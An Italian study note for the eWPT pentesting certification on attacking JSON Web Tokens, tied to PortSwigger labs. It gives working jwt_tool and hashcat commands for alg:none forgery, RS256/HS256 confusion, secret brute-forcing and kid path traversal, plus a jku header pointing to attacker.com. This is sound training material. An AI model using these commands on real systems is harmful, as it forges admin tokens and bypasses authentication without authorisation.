eWPT · Authentication & Authorization
JWT Exploitation
Difficoltà: Advanced Time to Master: 2.5h Prerequisiti: 05-Credential-Attacks.md Lab: PortSwigger Academy, modulo JWT attacks
Obiettivo
Un JWT sembra sicuro perché “è firmato”, ma la firma protegge solo quello che il server verifica davvero — e sono sorprendentemente tante le implementazioni che la verificano male o non la verificano affatto. Qui vedi come identificare e sfruttare queste implementazioni deboli: algoritmo “none”, chiave debole/nota, header manipolabili (kid, jku), per forgiare token con privilegi arbitrari.
Concetti chiave
Struttura di un JWT
HEADER.PAYLOAD.SIGNATURE
eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.signature_qui
Header e payload sono solo Base64URL (NON cifrati, chiunque può leggerli/decodificarli); solo la signature garantisce l’integrità: se puoi forgiare una signature valida, controlli completamente il contenuto.
Vulnerabilità comuni
| Vulnerabilità | Descrizione |
|---|---|
alg: none |
il server accetta token senza firma |
| Confusione RS256/HS256 | usa la chiave pubblica RSA come segreto HMAC |
| Secret debole/prevedibile | bruteforce del segreto HMAC con wordlist |
kid manipolabile |
path traversal/injection nel campo che indica la chiave da usare |
jku/x5u manipolabile |
il server scarica la chiave di verifica da un URL controllato dall’attaccante |
Strumenti
| Tool | Comando base | Output | Note |
|---|---|---|---|
| jwt_tool | python3 jwt_tool.py TOKEN |
analisi + attacchi automatici | tool dedicato completo |
| jwt.io | incolla token | decodifica visuale | debug rapido manuale |
| hashcat | hashcat -m 16500 token.txt wordlist.txt |
bruteforce segreto HMAC | offline, veloce su GPU |
Payload / Esempi
Esempio 1: attacco alg:none
python3 jwt_tool.py TOKEN -X a
Manualmente:
1. Decodifica header e payload (base64url)
2. Modifica header: {"alg":"none","typ":"JWT"}
3. Modifica payload a piacere: {"user":"admin","role":"admin"}
4. Ricostruisci il token SENZA signature: HEADER.PAYLOAD.
(nota il punto finale, signature vuota)
Spiegazione: alcune librerie JWT mal configurate accettano alg: none come valido, bypassando completamente la verifica della firma.
Esempio 2: confusione algoritmo RS256 -> HS256
python3 jwt_tool.py TOKEN -X k -pk public_key.pem
Spiegazione: se il server usa RS256 (chiave pubblica/privata) ma la libreria di verifica non distingue correttamente l’algoritmo dichiarato nell’header, puoi firmare un token con HS256 usando la CHIAVE PUBBLICA (nota, spesso recuperabile) come segreto HMAC: il server la userebbe per “verificare” con lo stesso algoritmo simmetrico, validando il tuo token forgiato.
Esempio 3: bruteforce del segreto HMAC
hashcat -m 16500 token.txt /usr/share/wordlists/rockyou.txt
jwt_tool.py TOKEN -C -d wordlist.txt
Spiegazione: se il segreto HMAC è debole (es. “secret”, “123456”), un bruteforce offline lo trova rapidamente, permettendo poi di firmare token arbitrari validi.
Esempio 4: manipolazione kid per path traversal / SQLi
python3 jwt_tool.py TOKEN -I -hc kid -hv "../../../../dev/null" -S hs256 -p ""
Spiegazione: se il campo kid nell’header indica un path file da cui leggere la chiave, puntarlo a /dev/null (chiave vuota nota) permette di firmare token con una chiave conosciuta.
Esempio 5: manipolazione jku (JWK Set URL)
Header modificato: {"alg":"RS256","jku":"http://attacker.com/jwks.json"}
Su attacker.com/jwks.json ospiti una coppia di chiavi generata da te; se il server scarica ciecamente la chiave pubblica da quell’URL per verificare la firma, puoi firmare token con la TUA chiave privata corrispondente.
Evasion / Bypass Techniques
Questo file copre già le tecniche principali di attacco/bypass JWT. Combina sempre jwt_tool.py -M pb (playbook mode) per testare automaticamente tutti gli scenari noti su un token dato.
python3 jwt_tool.py TOKEN -M pb
Lab Hands-On
Lab 1: PortSwigger, JWT authentication bypass via unverified signature
Obiettivo: forgiare un token con ruolo admin Difficulty: Difficile Time: 1h
Walkthrough breve:
- Decodifica il token e identifica algoritmo/claim
- Prova alg:none, poi confusione RS256/HS256
- Forgia il token con privilegi elevati e riusalo
Common Mistakes
- Non decodificare mai il payload prima di attaccare -> a volte i claim ti dicono già tutto quello che ti serve (ruoli, scadenza)
- Dimenticare il punto finale nel token alg:none (HEADER.PAYLOAD.) -> alcune implementazioni lo richiedono per parsing corretto, e un token che sembra corretto ma non lo è ti fa perdere tempo a cercare il problema altrove
- Provare solo un attacco e fermarsi -> usa sempre la playbook mode di jwt_tool per coprire sistematicamente tutti gli scenari, invece di scoprirli uno a uno a mano
Link Utili
Connessioni
- Prerequisito: 05-Credential-Attacks.md
- Prossimo Step: 07-HTTP-Verb-Tampering.md
Checklist di padronanza
- So decodificare un JWT manualmente
- So eseguire attacco alg:none
- So eseguire confusione RS256/HS256
- So usare jwt_tool in playbook mode